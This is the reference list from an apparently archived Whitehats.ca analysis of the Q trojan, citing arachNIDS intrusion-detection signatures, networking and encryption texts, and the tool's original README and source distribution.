Vision, Max. "TROJAN-ACTIVE-Q-ICMP." arachNIDS.
URL: http://www.whitehats.com/cgi/arachNIDS/Show?_id=ids202&view=research
(18 Aug 2002)
Vision, Max. "TROJAN-ACTIVE-Q-TCP." arachNIDS.
URL: http://www.whitehats.com/cgi/arachNIDS/Show?_id=ids203&view=research
(18 Aug 2002)
[2] Dittrich, David
[3] Barlow &
Thrower
[4] Stevens, W Richard p. 86
[5] AES. "Advanced Encryption Standard - Questions and Answers"
[6] Mixter "README" and C source code. Q 2.4 source distribution
[7] Vision, Max
|
|
||
|
Copyright
© 2000-2011 Whitehats.ca |
||